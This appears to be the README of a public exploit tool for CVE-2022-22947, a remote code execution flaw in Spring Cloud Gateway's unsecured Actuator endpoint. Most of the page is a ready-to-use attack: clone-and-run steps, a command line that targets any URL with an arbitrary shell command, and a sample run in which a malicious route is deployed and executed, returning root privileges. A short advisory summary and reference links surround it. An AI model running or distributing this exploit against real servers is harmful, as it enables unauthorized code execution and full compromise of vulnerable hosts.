Spring Cloud Gateway < 3.0.7 & < 3.1.1 Code Injection (RCE)
CVE: CVE-2022-22947
CVSS: 10.0 (Vmware - https://tanzu.vmware.com/security/cve-2022-22947)
Applications using Spring Cloud Gateway are vulnerable to a code injection attack when the Gateway Actuator endpoint is enabled, exposed and unsecured. A remote attacker could make a maliciously crafted request that could allow arbitrary remote execution on the remote host.
Usage
git clone https://github.com/carlosevieira/CVE-2022-22947
cd CVE-2022-22947
pip3 install -r requirements.txt
python3 exploit.py http://target 'id'
[email protected]:~/exploit/CVE-2022-22947/$ python3 exploit.py http://localhost:8080 'id'
###################################################
# #
# Exploit for CVE-2022-22947 #
# - Carlos Vieira (Crowsec) #
# #
# Usage: #
# python3 exploit.py <url> <command> #
# #
# Example: #
# python3 exploit.py http://localhost:8080 'id' #
# #
###################################################
[+] Stage deployed to /actuator/gateway/routes/rtxhovup
[+] Executing command...
[+] getting result...
[+] Stage removed!
uid=0(root) gid=0(root) groups=0(root)
References
https://wya.pl/2022/02/26/cve-2022-22947-spel-casting-and-evil-beans/
https://spring.io/blog/2022/03/01/spring-cloud-gateway-cve-reports-published
16 May 09, 2022
1.9k Jan 01, 2023
2.2k Jan 08, 2023
181 Dec 20, 2022
4.3k Jan 05, 2023
6k Jan 09, 2023
9 Jul 04, 2022
32 Nov 05, 2022
13 Nov 09, 2022
1 Jan 03, 2022
3 Apr 09, 2022
80 Nov 28, 2022
133 Dec 24, 2022
2 Jul 20, 2022
7 Jul 01, 2022
2 Feb 09, 2022
1 Dec 25, 2021
67 Nov 09, 2022
6 May 17, 2022
3 Nov 04, 2022